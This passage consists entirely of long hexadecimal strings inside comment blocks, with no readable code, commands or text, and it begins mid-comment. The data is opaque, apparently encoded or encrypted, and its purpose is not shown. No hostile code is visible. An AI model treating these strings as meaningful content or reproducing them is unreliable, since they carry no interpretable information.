2070de5e0fb6b470d87d6ca252222b6a326497ed21cf18356848f208b349d04dfaec6d36e0d7668d5e57ff5b3c1f38521586dad4f5c5294849acf3f1848e6457bf00ddc14866c7a273701e64352cc99933fd45a3347a611d70e12e84257ac1586fbd69e5270a0d97b7323236f8505a7f04b718257c2399f61ba5838b6eb5706239dd24167c85426673226568a93e0f7e73fa346dd7417a33e85cb8a38ebbf3403161021dadb3ec08e93738fa4e6560f64cb0eae77b9e16592794e2ad96b5c93cc56ad002fb0fc1f9af77f0d641a628baa80d554185097d424a34d1e94375e91bfa736b46e16af0cb3567b58c8fed36c9b87f961ceb85d02aff3a5359be09be53646924c1738fa8a89133f27c8bb778a2a116c4b8dafc78346bc04823494469dd36a0397261bfff8dbaec3bf1e36723d6809b59ee8fea2b74ee4047991e96c48ed20b58a13806433684b807e9d5c8c5ceb9185def8894ba59a82518c8459ef3e6bc3aba68910243c19e09dc915c697181166d036d88cf5d17e1beff238eb2de751a2683756598323f9b8c2fe31f2102332fe810cd2ef8f8a404cfce43fea093639866e297fc14bca1a425c5da671b34c00bb9ffee13eb98cee804175f34ec072384e6e7cb9f067c8b2a3956b88008c284d6469c3fbe3432fd21cb0c82af695cb2164b18bba3629e760ecf7bb3937aec2e2219d78a084e0c3e672e36cd7417e78a22701b7b4590b6e20a8e66bfa8e7ca3c9be463a32e8f6717e75296622091b77c8527e454dd881fe5585756801313049fe6f120b29aae7dac2dd86582bf411fa3aa56526f9c4a9e82d759b3ab6dfba0e3b71a962bcde4a45bc67919d78a4c56bc4571923071586ba7c80d2758d142fe9b09f8d521696528417db8398993ff046c223ec3013e955311098bf7f64fdeb4e374e7917a44773371f8410eb1e889d421c6cc343d4cc35261429e6c8cae3184035a99a600cb041e5d570415cd7f05615de5a3c6366f1a67842e1a9ef69e4fa7dc56cbe3462a3e8ee142d16788de003d9300294926a546792f96ad0634b689a2015accb5675e2652589445f2fe646b008d377d04b9d0494f3a6623f3dafa20a8cbcd6f04f2f33814ccbf0ae924b501056984aa7fb860a8ae07ae79ab64dd0ba8469cf6728a6a477cb4fdf2bc6c292551cd11d53dc0960a1b9175dda0562092ab5ab37f9f77832160a4d9237675a220ab45fcac94d2ba2a1f0efe62eeebb3e80b1386db9b3d2999316c38c1b17fd84bfa54e27e99c2fc4b1bc0664a34d92c820355928ee4af9452a9b41062c810f3941c7136fe97a172bcf05a37a417345d2c92def23d736ec539d7c77e4acb4784bd0efd6efd797bd6bbb4232153934937b517e6b0e6eae814a8905442074a5ecfb7326dccd15661a9e62093c466bd6a7431b9541291b7f603f7d58889e4ee80578903c1fa1f0052f5eaaa2e3c496be49e755f6ee753f569b544549da197018844172795b6944f760a061d0edd777b789838950caaae*/
/*e875592667f8c24ead121a9216adb24435b18c6d6cabf08ad8c698c976908f14d17857aac6732fc0185957599226b2ce8e102f646d344e0255becda534af1ad63e46f2fbe4e0978ad06fb017c51951f000fd13f437e216eadd70ea69f03d388ca589593c6621e0d295841d8efc9b7b1be347768d8cbf3710707981d960f7f1d177ccd6c373f1f32b29df40550a08d1723a94ff41af54837b7bdc255108ec839b9954ca5a100c3e6e0be2e934e65f6a121929a5e07f2292e02499ae9c44d47f692454eb60d87100b1077047350e0dc04f49a3d14e24a5ccc413827b297ce17be4c211762c8461bace185d81411e3531ef93eb85b8fcea1abb5998387dd18628fad94355bf9687482e3b676cd50f9fae2270051de7579ddc73f98a76abeba1dc2e0478b2b2716bb5962783b21e3038356a4e2acc30c56e46258cbcd129431a82095d8bb782e76b7eac0613a7979ffaad9eb57669e7d984235d0c7de4a484ccdea64bd38a4711d2c6109eccee590c9111cdb23112d39283a8b9b79efc000ea08131cde78d60a2c5edc01bafe69a7656f5f0371fafadbd9db74f856c9a07f69c5e2152dd1d3397655280ed4495b48724071f3c817bd75b4f840cbbbcaff57c54d4fe42f18cf9e599822bbf8726996371cf2d79e93c9a68eaa36999cf9d27c8f6419d43d160d3b11881d70e57cde1b80f5c30c709b7cf7ecc6210fad23d6edd1cf8d575b204cb72d7c2f0fc8e44fd1de2fc7fb3459a95e03fe27cd7063613c8968f79cda378e7e7858eeb6a946d5e53ecf7481b65c091685991068545973ab8aea349ee236c3a931fe5dc04c59957980d20e0a09e783278a14e37bb749a437777cdbeb233b4109497576e3485e8cb7dcc9b93cfb6cb98394ec7b0128e34231a85dfd908ded963b2fe5173c6367f08e3770a19dcf6db50ddb598cbdbc8d805cbc3d401fdb48c47b11ed7e6b761471c8dbed5806fe9590006d140283222529925612ccbff7784e29933739b5030c2f2804b4c952f8cc9d266990c9513c8832b8ef8006d0e1460ba61a3628bc36e032ab56df8b5b04c8b8819234fcd6b489301fe2fa289692c8060dfea31690569aff91f49c85ed4aace212ce32525c65af89977d381795c70be0e59983dc3427071397cc3bd383a920efe3363bf007f251e8602e807cb7e9a43bde970548511ebfc86367002d2f846898d1026b02f18624c44d485a2e988550195e3783e7c39cb981f0c1cae01f3271a70f452394dc258186f6e656747b29c220c2a96042181034326e4f87315b6ab97487c5fbd80332c6d3db242b522448d89f7c0bd134a2a498837662df6e1e9be47469597e730ee0e43e3d688611c9e3202b674f17e3bb7e07fe61d182ef503815bf29dfed9389cd6eb8b5decf9ba8847c7692af3995c0aa1ad1b9ed258e4508d66aeb20bc4fa5e0808294b0d0c174627e240b855dcb1f4d33cfea1e76ed76faf451ab92c79c9513d4921433dc524a849c1dc5699c40b93b9170b8ccd368c31a240c9f71abc5ff68cf25f1b5fe3c9ae52a1d1d55ab6a874dec961a6fe6a1d60938e7965ba7403f93a7e8c51b7cfc88423bde2281fd894c9c7d1dd074219e2e06200971f7b079e7721047ddae1ef31edf1058c08a5232a82d77efeb9fe357fd4feedada6c587f747863d74424cff6da8cdb1c2f96efec75c9016b5f532d6af4b6fa2d9edd95a51a8e2d3d03a5edd1ce630521f80fad76b5b431794f64ec7f0624c66a44a8e9d12533e67853c769b4192b6fe11572ed2334be2a645d937ed549f07e2f8947ab5df7d59bfef0588b6421adca61f646343c39fe028a567ee2267a0b676dac7da8a11396bb5e875a6221950e12d0509f5922e93b28d83a1c5743f14b22c43a852634e624844e1fe7f2740d3caac2ac81042832f8d0f146384cfdfde71e88f465f86a601224712a8b06e50cb25f56467e99bffb89c865b4a81dec500fc5aae6a555df27eedb41c1d61325a9978fd70b9590492f8b5ab7831169143d003de264813bf69b92f652eba1bf7882f510a0fd904edd6ba6158e1471e5e210bef9c176662443c23b317f859c26e4d51592a7c094285a300eb940591a820edd371c0dd4751dac263aa4095b428a6905498982ee74a5e39c5064d0429fd6689531624898b7af5d482c6de273097027e9ab38bb824a31a7602fd0b73df18fd54eef894deb978755254283c493f851fa9f18809b9c41b92a3d8d24654b77c7a7949f66be4629a8ce14b008bdc9df59cd1258fa831b1146ae521e3a6124e86b8e92b9632cec1a9a0ee758791f536eb2cddcc178e356cb618bc0f32557a1bea7e756677c6b3538b49d7de318b576bd2b374a457e960839c3e8e5911ecee0723973c445a873ae9232ea4bf1091454b8bfb7ba96a08c7328c6284b82080e8e5d73be4b9b6355d479f233cafdf5a5835a93009bc8e795e09e7bad08e7f28df6a6a2c7cc13dba66493ac8d6bc52d14b4588f348e5e5f892ebe2ed697368c28af3c48cf2e389b033ab36bcd7f6800d90866dfa21c26d8d663b8dda65ae568dc936aa3f2b68d3ec2f9508c4afb2391864b28e4ead450f9cecdcd59984d9bc15021acc5ee4fbea05f1660092943d7eb4479bce2fce30c79462b47e246b54e121faf6766b1df816706023d59ca28cc9a4c5372e6cc463d0faa86e0df0c4fc450463c228969840f48f386667ac66dcbb0e1b88b01e7181b5f005eb6f1a438d5802019f507eed368e43b75d276ddf90975eaf6c777008699144a278a19fb24a1d7462e598ab00c58ba07d210ff11f885978301a307854afe4beaaec09deefbced11ef6064904b*/
/*1360f518a60d644e8aa9026e0b0ef062a1678bda8462f46f3d1ccb6df0c0eebc7968a0b6c6e93de92c576e4414d4a5a682dd99af986ad41d0ffdff1b6dd24f72256828c3936fa0176b716fb968c011ef47a0dcd5a921fbf6591e3860d3bc502c322c162534250e58bfecdc15c64114f2aacbe1824537be86094661ad4312a7013853d79b884712023c813b236451749be001490dbd67576094ae48821105ff44d41b8a2365ab55c6bbd3a9b3a36d79a98acfb045714916b5f8d05511000f140f261990cd33bde920d1114e349f901de8666afd6244bfc99e506758035b25c0ee8442c9f75110bb27ab0173336a40799d3b049c16bf45ff2ad31400019f15de1980c9062a1d4826a1c25186ea9b1c5e2b3c32eb746a42475e1caa60d7f1a8dab2723337e1787f3bb7e601432132448c2e2c13ebf4daa8a0c66534b35990c111b96a6181801a22a02766bca8ce74b58b8596ad9f00850ff3c14c8ee2916fca70f8d54b8ae042cacd615846a2c39782bc982c51dfd182dc6574a450f73e1666ad690aa2621b6c386e49a7734dbf27e9a45984a9954f5f7a14bdb32e6abc89c58992c80986beb9c1da84ec0e13bcef862b47b90a7d1d6e3fb03d99783b1a8ea80e04e3dd1ff8dc962e22fc87c466c2f120e495669efbb5136730491916b28aff8e2cd83d5aa0ae810c39052ecc6e1ae1f820799ee15f22dfc3f612f901471c82dd78620c65232d45f73099ab3a8fabedbd5893bd0a56c9b04e024e6fa70c2783dd272eba67a9fe053b5a4b282e6aeb98cc98b02ba62afb3b27f355800b68afc1204e7712912b9fd8912a0fe53040c92c73b9a0a98ba3a94b05aaf31cfd17675769c18499711ebc10bdfb96a49d92a8dcec8ab0cf33f0b8169927a6f57654d9dcedf35137e6cac34d92d0a2bd3eecbed54db2a48b47a8ea3bd979e2c7170b69dad0d4745e4bc2eba23ec8cdf336859467f2aaade33bff95756af820c642e22619ff9e9833095d2af48b166a6e9174d133acd39b1af181b27a169200984c1af5ef418519fe049777e6eedcba3b540707d6deb3fbf62102bb4a03534df4652899cb2184b7f2da2e8a25e4cfbf8055573528b1cbd909f1baaa6720804ebe74e8a03558f18bf24b1277216a6c15e8a4aa4b05417c3b52c3ee5e7e39fc06ef68afee044d145c4265772e68492526a4893c18dbcc7e6a7c7cf5dfedaf4d3fde67b4a8a5b64714fb0ec286cada2352b2bc26454ce1eb00a73b719bd3b569d094a06fcaf567ac02cacd2f71f6b57c8828f16a986d9ce2ec3614134a549f2ae083a9126b5ff47b28ea07316d78af954990d7948fe96f66ebd2c0459d44a07250a3a826beaf5a4cf1ce4e0457c9b37befa03c4490da44e98c676db9e62f5afb1904f4e812a2e707735843ec75215cff7735b07a1f5ec4876abeb9f5ece94263525c33221b66252a46322a6716fe5198db0e3803914fb6417d0608260304f1b642bba9e26ee84073e11be0063a9b1251c9d169a3756b00a1b163b3e5dfa9f2b8b2ece99ce75719a3b45a4380eb0a7624d1547cf2d09e9155af0d597603b92d93abbf65c9c3f2a133347f1dd847e80d3b16d1bb9a1ef7d3b0c35c57de706f44068ec59a40b97d78c3fb03d0f7c4c663a3aefead2a5bc0dbdd387a36a53f89814efe595d0b69c2e5ce84d31bb91ad4b657a2004be85342d690f72d1b97f0af85066302043b011827cac06b09302e3b09fcac0feec8cada4d8debc09edcec41f60e02b4a566e5c5990999ccc22f0edc4e15ecac90f2b18e8b3cb52d154da2325d2592e271cddd2fbbe3ec2f9e9b10f48a09910501acfad63df53486a8be968a3b62a80ab27357e3da891dbe60b9f0f8dbf49330706bdbf89cfd196d3412432675aee8880bdd32203e5170d6a6604ad0f173b69bfe23ec103975f3a4a358afcb98786b09dee451d11c3e3f69a98fd6d03fb0be7f18341bfa3b9b57cf188c7bf20617997860121a310949240dd038c15ab3ff628c3cd8daefb00cd9d1c8dd35897f0311c5f9fb759380c5b3b6dfd568c991b76913fcb7c34c5499c96e1bb0977f927d1020a1c481ba567f2218989f43d34143d488e6e16cdb24b9bbd45fd77d0a738c2c619025d7f0f979e3da23ac8ab8b8b0cbd44e58242b7a33f8643936e627e3dd861e3460baa93eafc688a59467bfef9925d54d35cdac5d9e4dab7b29c2b69a10c875292ac0ccad135d0b0b321b234edd2fafafa6f850d0d96233f5ed401ed2fd75f411d02b29524d574c6ff4cc1efb18295108343a73b9240ce4097637efbb0944112762bf6d66818148579a4e8b6d0027e765e0ba9c6c2398731e33fcde6c648c4fbbe53b0700ccb5fd647299e11ba787908381ee90ceffe802694e3a12b5a60af5c689d3f586fd0dd15fbcefba1c93a157c72dcdeed2b5df469b3422362c46f8c02ab016278febec61af6d7d5e69b71dc656e03e1f55d8f8e40b29ab604d78810c4e513ff0d396933247223eca90193394fa2008cd0c18450156bcd0acfc0eeecfc1be016bd78ed896a45adb60ebe709fb7c0df8af7a3e4875115891211f11b3436eafdb5a82d0a1cb9c075178ccdcd38229e98818f0d1bc4feaab28ae10b71c393d2343f0a9630257a9f81b4f383ba2394d20b02214f400e7649ebdb591e1b5fff2075e3597a418f6858e79e7330eb323bc4a9b746228faba8fff53538dc72082f70f1c457849583f4c252beed8fe12fb797b6e450354f79096ba93239b6082687fdf90c8c2a33f64cb2320572c963dbbd98ca18f34003cfcca55dec2d39b63594d3018610d0d466adb17db747b965581113d413d473e*/
/*e276ad5e05622fb9513c9b6a8970b8535a24d4c1ae5b9db7d2d092302c05cc27b18b12f5b5ef24d338e1733149273e89b36b6498d6aa3c8e6074fd18a4c4a134102f9c64f4a6f861dad15d6ad1885528c3fca8dae2d9bb7cef554966f8c63513f3c3a7b95958e4c64f38fb1f337633cf0bb4e36422fff10bb705d242f86ada630f2984a545ad160c71e0f3cf9c467f6925b0012fd0531a7ba57d71eacb2730e6f5f39504b0c720b2f47431b72af1e96a10701322d6499936ec606eea3053500a0c57569aec6c40ad22100d62e356d011d52f52765dc22b245688fe4c0d924d3095d9a1585d852a9f6252d2d6e423aac07db39df1053e401d6bd91e4dccc538cdf3957f52b8832eb31602ebb7cb0945f6001ed45add8210296a338c93c352cc7bcc2490013d71d86da2cbb67902a1bcf63b927f1752dcc7c1654f074b4dd464ca146942547e6c06c37b79dfd5d234f452ea3ca499f0002343ba35fb1598352a8cc369823421cfad418aa7b4bee01e35e966204cd78469f42bbc7af4743df14d73577ab0795afc8ab1836e61a9466bcf7132a2667b2d2cf5e3d4846420fdeafeb38f2d0c059836a254f91cca0fc553194549e2c35cb91e83dc5f0871deabc06d48fbf7abcd957153c2fb4d58da9da000ecd658ce61b5ffff92a655e0b4e8d6a182cf6073e6424109697f62204e0883ea99b52134b4e60a1abefe4ba4a5b7dc4202238297310a661a1348fa09ab43c58c15cb71badfa2f798595b2c69c952d833d143c177927b98ca11a7a69e1bd9bf002243be5303b888fcc3c7c07fc7c68d1e818f2d4c60318636c5139242b80392d94300a47eb9ec346ae7a58c5fc9e186bdd746bdf9af7d221c1c85b029acec15a9d0fe276cdead42f70e69e73490a433ea4467970f1c1a3d38de6b8adcba4238ff66bffcd2d6453335943b60401434a6d9a0ccafaa3233b888427b32245ac21d23e47d328d72b18f0ac5784de99e0ca4f36aae0efd1bea37cb401102c5ea3d7b78317764708880056eca1f7c6c9b40c30592debbc92d91a5b9b1ffea0f63d639c80a484d508ba826124962d44b040c08f279a542cb883b4fcf6972e2679177e134f5d4c51094b7be28bee9a6900256238f2156a8c92c69b75a21de895ea8e4af353eb903b87a29caec172463dd820983a9f16613f5f6aa6c87cb2897119672f075df8a87f4f9d55daab7a0b4804dd3e4eddd5ce07b417d201c96a1d01c33e9097a82b53ce8d00cf5f0bf3ba73da92a9ce528653bb4831e3f109721f738da340884622a86398d681fe2b1be5655c7555cf7c0f2d2729a80e6d13db9a9ab4f6ee5d35f627fbeec37eeb87f8f909ec86f01cf06f3a30415ced87395b461b353281fd95e0f7d220fc891d186571453bd0179919cd036c54d551cbe7f922ce55f28ef1aec54ff0bfb82257c65567e568db0cdac79a0b9d97ad8cb11799dadb42f0259a2cad8bc7942e7a3737266b0d8ea146c835840a685c74fd228d845d1f7f0a6bf34de5c83817e8dd557daa751eecfdba18f444350c893abe6ca3bd421790515d6aceeba084f7fefaa98cde86e2130633a27ea343f94589670695143210b4165dfde9fdf1e2612ef31db7f17fb5175cf3d21506796d53130f089a27a741a395cf61c72aea050a2c179a8d721aaae1966db762d1e4ceaaf5216b563ac40ceecbba5021068f7820d09d707060fe8edf8c4a611601dc7588453b48781de9a2d8189743eeda4871806809b34c92fb8788defe4fdf46e84993a50e5f174524d916621c9a53cc1d0ca1ca23acbc6980bc8cd5d3244584e7897f6be953cb9c750eecd5528725f39715c7512641e010548458247dd82b7f1e33ee9f31a2ce99b0cfa524305fe5d106972ac638d1172ad9b557c9a29f2087ce605ed74905dd95c0c4af5801e54e73f67b07a5e5d2328dcb7a901cdb5f365864e2d3d2029d492f8dfa2a6375f5f97d3b8d363510466287d28e4f34edc989958904b53c5c461a65ed0b22c37e623258d50b5770c3679c4cfdac7bb5d3f5201d5260e236f2aab96123d6a8629d780bcccf93ff797cf3ea0e4c3b8ad8d0c0cbb1a832cee16f5f90a53e1eba43bb3608b6a8f556d49eb85d9ac7dcbbecc6b978c51240ca7ff25c7cb4b9999f81b30e1aca230e017f61b5f0481c4bb2cd6c292a6be90782eec46fdc647db61a33ff95913bff27bbd28471dc48bdaa0688616db36738435e15a76ce62ce8f7f911e18bd0020c1172f627799111ddb5f1ecfc0fbde97f022922d6ec7e284d51a200fd5783614cb6fb6f1f2b62e867a23c242587da33cfc8e4a5f4985ba94cf94f8b2259ffeb031c6c53475ad7b7b1f3aed87efbe3d5076fac78308bccfb275e6cee091aeda7b812cece3fadef464166e271558cc74ca468244096ee287494ce9509f0eeaf002e0b18a619e981bd5b8afa90abc09302f862b5ca2c6eca1bbbdc3664455dfa95ee244ff4c7efdc5c396a9ae2c4f66b843c2e9fb3c082ac4b8381b5b1428fde3e276019764aff559b4478423d5c0f72821f7e37b30b127d2b9261f109be7c14eb0d49890220cfea6c29972ddc9a2bdc21e1b3fe1c486cf95a35edbe9bd947f7dc0395aa097474e95b49bc57935425a852e7884de5b95ad3bad5356ebbac47a759bf29d17587fac76e9764196b9448991d58ab78aa825247b588cec642db5637132ec64c10f2b5c11b8e5cac2399aa59bf3192fd2ac9c40b54ea86a03bc170b3415ca351f546b9f95c5bed772d423e573a9216f8ac2360f5e38eb0c57130b6e6ee7e20576c80ba48b81ca07496979936cbc9caf755bf6276c9f2a818075973dfd*/
/*7881d79726624aa41a6eb375d6fe38f796699ae33a52de52833cba0f8986288ef4e2be9184eb17cee7cf8e205b8ed4517e8c5c40695b0c14f2ac987247f5d3a22bfd8f5d8a06523da14e4953d5624917bc8c7996d4be4da190f8beddcc0ddd2ab0f3702e2d3ab26a73c7b29fe4849da69296ea28cf302896c97438dbf650da8a1b5d5667dc4f7af1d1c747ae9f211b8eda5a33dfc56a3db08c382c00b3720ff6f38586d07264214866e418b931897d6dd2e9716c31efe338e7d568cd174ab46cd96b015056256aa9954c461e03eb5fef8ad28e2fac3b0a1aee25e799203bf1e3a9752dfaa165c46cb38d4029cde9660ac07fee906eda5be4ff7fe4bd2b7dd69a681fa1faac5a99e29756df59a91b240128dafd18337060d5df4a13b479dfee1bda6541df633829d1c3bcda47dec6af3274f4f49644e202fb898853d87abf9960bd8ae839c5c7c076f5e3bf45290b68d758d5a065ee3c25605451b03d9b576eb855f18dfe02f351d97bcc2a56e27c99c069b5ef9fd34eac94d22d90bde596c6ddfe8929b53086f9333c6063ac2e82cdf8d9008e0cd84f0b4cc66a9148c71af497159d00b6a18d1b19f014310905000b22a27dc8f8dd8f9e124006fc8331977e65ae0d588ad81f01d207925a12bbc98fae6c9bc6361fb10b40bbb4f5794c1b43956ff76ff18739b9daae37ad3bc126298134b478d5ae11010bf2dacb7d58972e6f0f684da54a6812f04bb38dc441e76c9872a6fcb313bd9df57056d0b165e7667b74a6238963228431f0c7eb580f1926d80b0a05ca1b9cf45005027de67fcdd63d1cab9899e803646fa628dbce846cd6646c183cf633ad5bb2982fcca14c87856f0385d44bf4753ac39ec14dab3478003e55f0bb7189fe5d4ff1ea6f36a1164f64936bf1ed03990a0f58c3852ca8a5e5db5712c133ac6c35b9ddcce9f19caa145c5c041eda9f2b1f301c45354361823b5be4c846a1d25300a64913a4b309bb99f2df59961a0b67289831c86089453c7f33ce28304e60fbe11c9f4f26e8112402297a194aa3200d2668a9784acf0f2a4475bc7b6e5a4729cf536da20b32f930e85f8bb6f2a1ca7235f76fbb61e0ce41d5f4c8997d487454afe41906815a554999a0aa5a83164650ae5241e59351fe9d94b6a000bc87c4d36d94bc2cf6d5bf9613ca8b863bad17688f4c9b4661d5fdf52a39a76ab193e6b858d1632929c06c27d80dc47abacda6213440ef718a49bb19aad57d1494ca85b99ceef36588d3d2b9e2af3045891b7730f3a0bfc901ab8b1e31c4121dae53bffc0f3dc60ff38e2073e7b6b6d919858a8a8204fd5629be2ebb5157edf102eede5ff4386411fea7666a2845a2032efd49bc45a951d1e3e08ad4dfd33883aa9dedce2bb20203626d4fc9e5fa4197731e1a5ab55bc3ba181802d06d44cc4d09d4dc5989d89295900c8cd53b3f23b02a39e27458ddcb3f4cdf17240b70c33a196b9a0724e334efb0910b5c0f7bd6eaef6b4ea0a132f022f8132ebdb8d24da0ebb3a76cbd2cda45ea1eff1bbbe43f443ecdb9e192a5b5acb834eaa1e8730f9d0d49b7bc2280bdf3c6921421b1178027b9ae88efaee6e68942c801fce5f557b6d9c7fd66149017060116bdaf4e0c204e37098022bf5555d50eea38f3e772bf8f0a4752b527e125b08a8ea7d08276d453a1bd6435a878656285716c3620e37bae8c70787d729b2251004dcf5537cae322e149291b8da51ea94875869657d7dbf60159c28619e1ebfc78d02c3290a1e0b10fa73a1f7c3fa6a098bc13758aadc47b0f8b3943062343968e9d4fcf23f3d5bab7486f5bc112d462b8a11656df9b05af963f4b80515bec2bf563d41653f0deb6a9ed7e4b56a1a87eaec16e431dbb3e1cc1eb6869a212185221ef287b02e65e69c222ab607c6eb930b47306fbe21f7a977f31f241744013353eda3024a08cbb4412687542e09a600a94477062d650c9d31a2fde27db5d08dce98615edc576153bf4eca5402ea62cc86c9f7b87a31bde264782afddd0bb6a78885b6ffecaaa558680e92d462cd1dae59635c35cf1690441e1903e7a071543ab72cc202091faa6e29367f82b4f0da2794dba59830aebae7323895a580799b31a44454fd0a135e225e8d90df83f41512e35eb47f0837f5f0eae1b23bec403dfe62180b7a7326cbd0d1c121f347ea4c37e2afa464c63ebc453b7bc592789d184eaa848cb680d9df12fec0604536f1945517d60f344ab01da32e29d6a0560133ef17c42d5f312ae278f75b04903831bc55434817bb84f96b97cfc106e81a5646dfa5d3ebdbb2ffae03c2a95882cafac64bf959f93ca88dea5537491e25901fc5015a2e5520537e17f06cbfb4fddf404afde4bcbce8f2410b6295e9c2c722d44049f48f73c48413e42946da888d9522c1c12ef95534393dd2fda1a8124d510f5c69ace9337dd2725d49ea92b3ec94f3fa60fbcc37f8b68b678e146ea0c03e9377942519264f4345a1cbd0f08b75fc36e5f9e2bf7a82e867d3d2d31b80ee7d8b763ca03938ea55cefe1aae64f64d8dd2db481646f1124122087fce2a19cb2c26045c3a63aed80ad7f6f335a4a5492a77df7a0101445a2618d5e47b2141492055ccd9c874d3bd89045d8a0b9de5a8119c704b46e078f04dd3abc3495bf175a385b31671db2a531a705ddd39513e172aaa0a7baa2387485ffd48cd7bc92a2dc6d4baed0a1080ea46e8cd7ac200d5d810e37fd6e1a908776fb37bdc7c89c2a8d6229f11bc71442811f62f72d559ef9ec0d5660a9f6a23948247838add3a78afae2fc4cf1d7242846043ba4332037ca36b03d5b35b9266e5729d9*/
/*b18db3f9b6b04831b096824d8605db73edf6bdf4b0af0a6aaaca27d76038a2d193327d204531d7f6c11b2069c1121dc3c05b9fbef33ad769af4ca03978b79990a1abfa01f9ac372353f5e56ce8124fdf7d31959f01b8400d41fc77303ff2112f7db3d1dc9113d210342385a73663695cb9a1704bc6ff61bfa74694901267d67fd0be62a51d2d693738d6de60b9cf5bc2988ef54a0e855a05429024a76dfe73bf8f53d82088db20e6e2918844d7efa43c996bbd2d80ede3e263aac78881e26f3e7b9f48c4700693ecd970cc1e638a5e836993276bdbea7a62948d0d2c30d33e8814e5def3bfa16938e47d890c072a7b9f07febb4954d972b5cf1b715cbd394eff0088c5b300a8bf84347131d8e1f8f69b499d2c3a139390a11527c6e3db724ae367d29d73dffdc1c5e6a935cfb45d13d69c9feaae41cfc91f943e03a910a2f539f3aca75e36605ad8cec114f55df397e567fed305d502a8fe2c2c963be84095793450e35460becc261b2b784c43b35d74e42981f35499bd905667e149b3dc73bff5dac0ed925534174773c67a0e12d848e7f15cbbfd83bc8f61f59a6439f7b812b9c7c279f9a70ffd91e4c75d59dfa56c6a1c900407d021c64706e5e139da08664e86d379bc66684899c504e2b5c9c7c9b7be381df72dd6e8e13b087b8ea23bf839fe35a996f9ccece3a5b9152563031f7336fc327c3f84cd7ca6f6b818713302644846aefad0e78f14caa8aa21fc633cdc28dc0468895403cc63f78562ddcf50ed0b9f0696c7a90a33cc019ebccc776298a3e5eeca5a734709e019b3ba2430e0fa4a5312ab045072beb0a9880473f85bd45ad33f5487534a4da8fa135107eaa8241f4253bafe2c1f6379fae7d7e73b0d8dc588e56229c2eefb6dc8d669a98c113a7ff4c99a56f73a4ead9d3fdcf9be621b78e694041d00229a6c605c4e5872f771f35439a537c29aa683966eec561397987e90aa0e9c38bb31d33f405fb694a3af61099a018c3f8cd225b2568c157c99e1d462ead1a8da897bcd8ea82348c2dd37258c4bb7b99ed2fb1a97bb2ffc0769eb9c439c4ce638e8ff8afbf9371e156fff5313a1f483f4430efda14a67693d481e758068245031be276cd47c0b7b0d331b56061e7a15c58ce7ff33591f9b61feb2c209dbad0033ca7dd4344dad8585ac815d4241b0eec096859986f43f105767c28b399a34f3fe72764ea6e71cd0e857e15185021fab6d5a902b59297d423aeebaa89a3048743088e5837b501eaf5339f31562420f8cae88f0c8c2f0640d809d6f9ff94bd7e7c17ca272538919cb100125b90899e23fdd54212781ebbe85d55ffdd2c8542188bac1eaa2268dce3def59167b187585f29c3f0a7e1546eb2fc32a7e1036fd1142290390507e2e550b56d3d9e82191d33c66dd84662b7a2fe13167c7cd1027308e84f12a6d15762a3d8890b28d085c0ebc2a8a501bd464bc80bb06d849e322d7095ed804f7667da7fcbd459ec143bcf202f6edba3704c20796db99159af0d4c4674c78f7bd43dc2164d460e1bdcc9d1cb8aa2c8089caa78813d20f2183b72a190ddb797d80f548f5ba0227446db319193533c1d6e2396e13f06dc8a8e32b5306299c8f1e167384b768c6f8c93adde50a3888f01e8b321bc0b5e251344250ec4282b9fed7ea88da5324d61c9f70ce669a075a9e0b6ef71f4b691fbf0cc15a8f3ad5f6753b23a5d0177774845d22959e646a2a9b027074c65375965087ce230317ba8e6b776591f643121d1b6420b6dc4fb9482f58dbd149c514108e5f7e07a405579c29d8f18cb4cd9a4794d0bf9b46bf2b31c077437c97d18a178eb86a4c5414fa1c5bc52ff3253676bd5a9b03f32dcd1839fcc236dcb9709abe811297fa2591f87ed54d31d5acf334bdaf6ea526beb9044170c0ae80584b7fa1530a1800aa805323296f3ae81f9ef0f891e3b41b993a72817118b192129b3af2104d3a6cb7fd612f91f8aa5ab7cbe155d9fcebf454c070c30f893cdc8bee2cf2ede8d650888ee2282e27ddb9bbe540fce45fa970c4738e7aaa85d8771352d75ceb4f6ae71c07575dfa91ddf47ebc9b63430d5f888b92200b7fbd33d62f5466d350041bb29355a3a6e1acd6312967519cf05c15e0cdc0bd39e66a3bd44cbee528f7275fddde13b59f226f6e90ed25f5d471c5bd2c65a7c0aadd3aba9e10c36032e6932c986fca33dfb17529d47354fb1dcad600295d2d6749d71c03d18e09845ddb37b95b34dd2d1ccfe9be802edb69ff8ad66a13d15453b52916718b5444f5260eac57e263107e13ec3613a04e14cb95e968998f80f3283727129861ab9f535c6538c3f8040fbd6ed1a674a19fab344a5e1c16bf00b81cec7c22f42ebbe26ff3fbbc8124fa0ac0616b7f51b265e56ff47c8e8474a3ecb7d472072de975571d65e8354b65569697cbb8344885758691671107081b4f423666bfdc88847873a5a9dabffb52ce09e9a66a15c5908845fcbfeca6360b2d882368e66dd96e6b343642503337e7e909bfea2dee2d4796feaaa6df88441a3eb7c7cd9cd11b8f34b8a24fd0011470e9d7c558c690aad4d042e56f57563cb655187025eee3357d341cb8cac2b35a5aaf6511922881a247aedf605aa8a1a6130e1579082ef6f34334cb96523cd948dad7ca2b8b571c7d4f566017f0cabaeeba1573ce9311ae95eeff1f8e6cc92d09dfe79d0efcd8e65e386545c266a6cb983ecb7837c169bc79eff311db695f68bdfc5f60f99515293b8b7920e41aa687b23c52f49b06e6afd52ebe164a2633b3aa53ec8abf065db85b609f499e0e4394a9096886ac5866b4ca233faae30f73*/
/*aee3b39b06d156768f929a55dc8217a703ee15f48da8a0a482c532223784106a04914e4834736f452405ed8ce3efeef7695af72db6572f1a8544083544197fd1402dadd14e47905a0021a92c9b34bdc84794c561760b773f82a8b4d17b2d347090d2c820630cc885d9b41a6af459cd78216bb0e84f42d72cb683da001f38f70df12414dcde03813c0c12c1d45243ba4e7159e6afeacc68eaa827dddd0d874633a15495f32e28d87373d1f39527be80eef78c9cc94596e8913c37ad3606c661782a8ef52f019b8656814a871c8d4284d04c506ca4b85ba85627d86c79a8909654552ea7ef127ee4a06e8ff7e3d78b591e319344f6189b6b53bdc83d692da5bdc472614eaa352d735c93400a680d426118c5911ccbe60b0e2a61d1c6a49e5a914945e1520785e06d83292153c1b94eb645cbe034553e4992b02d1660d1853f6cc46553ecc742b23b8e982ab4dcc6f040fe7b8629b7a892946a4239805534bcf680f9741541025c3887ee100d666bd63838b041bb69862d4cd611260a3a9cffcb7215eeb5706bbadf3fbf1b78ad10e9e4ccc94c7687c5868faa3800efd4389e08a5e5df8d08bec935facb22a361953cc9b7e023cf754ac00de5b92f86476de9865f015a4c21025e2e062fdc730bb15cd17ad73c612e1c2a1521678f550ce16afd5bcce41b905b6963ae82e9337a57bea0927f69cd